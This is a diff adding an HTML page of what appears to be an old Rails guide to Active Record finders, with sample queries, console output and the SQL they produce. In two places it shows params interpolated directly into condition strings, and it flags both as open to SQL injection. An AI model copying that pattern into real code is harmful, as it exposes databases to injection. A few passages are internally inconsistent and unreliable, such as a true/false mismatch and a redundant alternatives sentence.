+<div class="para"><p><tt>ActiveRecord::Base</tt> has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is <tt>find</tt>. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type <tt>Client.find(1)</tt> which would execute this query on your database:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(+</span>clients<span style="color: #990000">+.+</span>id<span style="color: #990000">+</span> <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Because this is a standard table created from a migration in Rail, the primary key is defaulted to <em>id</em>. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.</td>
+</tr></table>
+</div>
+<div class="para"><p>If you wanted to find clients with id 1 or 2, you call <tt>Client.find([1,2])</tt> or <tt>Client.find(1,2)</tt> and then this will be executed as:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>clients<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(+</span>clients<span style="color: #990000">+.+</span>id<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">))</span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&gt;&gt; Client.find(1,2)
+=&gt; [#&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;,
+  #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
+</div></div>
+<div class="para"><p>Note that if you pass in a list of numbers that the result will be returned as an array, not as a single <tt>Client</tt> object.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If <tt>find(id)</tt> or <tt>find([id1, id2])</tt> fails to find any records, it will raise a <tt>RecordNotFound</tt> exception.</td>
+</tr></table>
+</div>
+<div class="para"><p>If you wanted to find the first client you would simply type <tt>Client.first</tt> and that would find the first client created in your clients table:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&gt;&gt; Client.first
+=&gt; #&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;</tt></pre>
+</div></div>
+<div class="para"><p>If you were running script/server you might see the following output:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
+</tt></pre></div></div>
+<div class="para"><p>Indicating the query that Rails has performed on your database.</p></div>
+<div class="para"><p>To find the last client you would simply type <tt>Client.find(:last)</tt> and that would find the last client created in your clients table:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&gt;&gt; Client.find(:last)
+=&gt; #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;</tt></pre>
+</div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
+</tt></pre></div></div>
+<div class="para"><p>To find all the clients you would simply type <tt>Client.all</tt> and that would find all the clients in your clients table:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&gt;&gt; Client.all
+=&gt; [#&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;,
+  #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
+</div></div>
+<div class="para"><p>As alternatives to calling <tt>Client.first</tt>, <tt>Client.last</tt>, and <tt>Client.all</tt>, you can use the class methods <tt>Client.first</tt>, <tt>Client.last</tt>, and <tt>Client.all</tt> instead. <tt>Client.first</tt>, <tt>Client.last</tt> and <tt>Client.all</tt> just call their longer counterparts: <tt>Client.find(:first)</tt>, <tt>Client.find(:last)</tt> and <tt>Client.find(:all)</tt> respectively.</p></div>
+<div class="para"><p>Be aware that <tt>Client.first</tt>/<tt>Client.find(:first)</tt> and <tt>Client.last</tt>/<tt>Client.find(:last)</tt> will both return a single object, where as <tt>Client.all</tt>/<tt>Client.find(:all)</tt> will return an array of Client objects, just as passing in an array of ids to find will do also.</p></div>
+</div>
+<h2 id="_conditions">4. Conditions</h2>
+<div class="sectionbody">
+<div class="para"><p>The <tt>find</tt> method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.</p></div>
+<h3 id="_pure_string_conditions">4.1. Pure String Conditions</h3>
+<div class="para"><p>If you'd like to add conditions to your find, you could just specify them in there, just like <tt>Client.first(:conditions &#8658; "orders_count = <em>2</em>")</tt>. This will find all clients where the <tt>orders_count</tt> field's value is 2.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, <tt>Client.first(:conditions &#8658; "name LIKE <em>%#{params[:name]}%</em>")</tt> is not safe. See the next section for the preferred way to handle conditions using an array.</td>
+</tr></table>
+</div>
+<h3 id="_array_conditions">4.2. Array Conditions</h3>
+<div class="para"><p>Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like <tt>Client.first(:conditions &#8658; ["orders_count = ?", params[:orders]])</tt>. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like <tt>Client.first(:conditions &#8658; ["orders_count = ? AND locked = ?", params[:orders], false])</tt>. In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has <em>2</em> as its value for the orders_count field and <em>false</em> for its locked field.</p></div>
+<div class="para"><p>The reason for doing code like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">+</span>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders_count = ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>orders<span style="color: #990000">]])+</span>
+</tt></pre></div></div>
+<div class="para"><p>instead of:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>+Client.first(:conditions =&gt; "orders_count = #{params[:orders]}")+</tt></pre>
+</div></div>
+<div class="para"><p>is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database <strong>as-is</strong>. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on the dangers of SQL injection, see the <a href="../security.html#_sql_injection">Ruby on Rails Security Guide</a>.</td>
+</tr></table>
+</div>
+<div class="para"><p>If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
+  <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)])</span>
+</tt></pre></div></div>
+<div class="para"><p>This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>users<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span>
+  <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-31'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-01'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-02'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-03'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-04'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-05'</span><span style="color: #990000">,</span>
+  <span style="color: #FF0000">'2008-01-06'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-07'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-08'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-09'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-10'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-11'</span><span style="color: #990000">,</span>
+  <span style="color: #FF0000">'2008-01-12'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-13'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-14'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-15'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-16'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-17'</span><span style="color: #990000">,</span>
+  <span style="color: #FF0000">'2008-01-18'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-19'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-20'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-21'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-22'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-23'</span><span style="color: #990000">,...</span>
+  ‘<span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">15</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">16</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">17</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">18</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">19</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">20</span><span style="color: #FF0000">',</span>
+<span style="color: #FF0000">  '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">21</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">22</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">23</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">24</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">25</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">26</span><span style="color: #FF0000">',</span>
+<span style="color: #FF0000">  '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">27</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">28</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">29</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">30</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">31</span><span style="color: #FF0000">'))</span>
+</tt></pre></div></div>
+<div class="para"><p>Things can get <strong>really</strong> messy if you pass in time objects as it will attempt to compare your field to <strong>every second</strong> in that range:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
+  <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)])</span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>users<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span>
+  <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-01 00:00:00'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-01 00:00:01'</span> <span style="color: #990000">...</span>
+  <span style="color: #FF0000">'2007-12-01 23:59:59'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-02 00:00:00'</span><span style="color: #990000">))</span>
+</tt></pre></div></div>
+<div class="para"><p>This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Got a packet bigger than 'max_allowed_packet' bytes: _query_</tt></pre>
+</div></div>
+<div class="para"><p>Where <em>query</em> is the actual query used to get that error.</p></div>
+<div class="para"><p>In this example it would be better to use greater-than and less-than operators in SQL, like so:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
+  <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ? AND created_at &lt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
+  <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= ? AND created_at &lt;= ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
+</tt></pre></div></div>
+<div class="para"><p>Just like in Ruby.</p></div>
+<h3 id="_hash_conditions">4.3. Hash Conditions</h3>
+<div class="para"><p>Similar to the array style of params you can also specify keys in your conditions:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
+  <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= :start_date AND created_at &lt;= :end_date"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>start_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> <span style="color: #990000">:</span>end_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]</span> <span style="color: #FF0000">}</span><span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>This makes for clearer readability if you have a large number of variable conditions.</p></div>
+</div>
+<h2 id="_ordering">5. Ordering</h2>
+<div class="sectionbody">
+<div class="para"><p>If you're getting a set of records and want to force an order, you can use <tt>Client.all(:order &#8658; "created_at")</tt> which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using <tt>Client.all(:order &#8658; "created_at desc")</tt></p></div>
+</div>
+<h2 id="_selecting_certain_fields">6. Selecting Certain Fields</h2>
+<div class="sectionbody">
+<div class="para"><p>To select certain fields, you can use the select option like this: <tt>Client.first(:select &#8658; "viewable_by, locked")</tt>. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute <tt>SELECT viewable_by, locked FROM clients LIMIT 0,1</tt> on your database.</p></div>
+</div>
+<h2 id="_limit_amp_offset">7. Limit &amp; Offset</h2>
+<div class="sectionbody">
+<div class="para"><p>If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>offset <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #993399">5</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_group">8. Group</h2>
+<div class="sectionbody">
+<div class="para"><p>The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Order<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date(created_at)"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>And this will give you a single <tt>Order</tt> object for each date where there are orders in the database.</p></div>
+<div class="para"><p>The SQL that would be executed would be something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #990000">+</span>orders<span style="color: #990000">+</span> <span style="font-weight: bold"><span style="color: #0000FF">GROUP</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> <span style="color: #009900">date</span><span style="color: #990000">(</span>created_at<span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_read_only">9. Read Only</h2>
+<div class="sectionbody">
+<div class="para"><p>Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an <tt>Active Record::ReadOnlyRecord</tt> exception. To set this option, specify it like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>If you assign this record to a variable <tt>client</tt>, calling the following code will raise an <tt>ActiveRecord::ReadOnlyRecord</tt> exception:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
+client<span style="color: #990000">.</span>locked <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+client<span style="color: #990000">.</span>save
+</tt></pre></div></div>
+</div>
+<h2 id="_lock">10. Lock</h2>
+<div class="sectionbody">
+<div class="para"><p>If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Topic<span style="color: #990000">.</span>transaction <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  t <span style="color: #990000">=</span> Topic<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">],</span> <span style="color: #990000">:</span>lock <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
+  t<span style="color: #990000">.</span>increment!<span style="color: #990000">(:</span>views<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_making_it_all_work_together">11. Making It All Work Together</h2>
+<div class="sectionbody">
+<div class="para"><p>You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.</p></div>
+</div>
+<h2 id="_eager_loading">12. Eager Loading</h2>
+<div class="sectionbody">
+<div class="para"><p>Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use <tt>Client.all(:include &#8658; :address)</tt>. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include &#8658; [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000383</span><span style="color: #990000">)</span>   <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients
+Address <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.119770</span><span style="color: #990000">)</span>   <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> addresses
+  <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
+MailingAddress <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.001985</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> mailing_addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span>
+  mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>mailing_addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
+</tt></pre></div></div>
